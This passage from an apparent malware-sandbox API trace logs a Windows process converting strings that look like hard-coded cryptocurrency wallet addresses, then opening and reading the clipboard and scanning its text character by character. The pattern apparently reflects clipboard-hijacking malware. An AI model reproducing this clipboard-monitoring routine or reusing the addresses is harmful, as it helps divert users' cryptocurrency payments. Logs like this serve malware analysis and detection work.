lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.139] Sleep (dwMilliseconds=0x64) [0054.244] GetOpenClipboardWindow () returned 0x0 [0054.244] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.244] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.244] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.244] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.244] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.244] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.244] CloseClipboard () returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 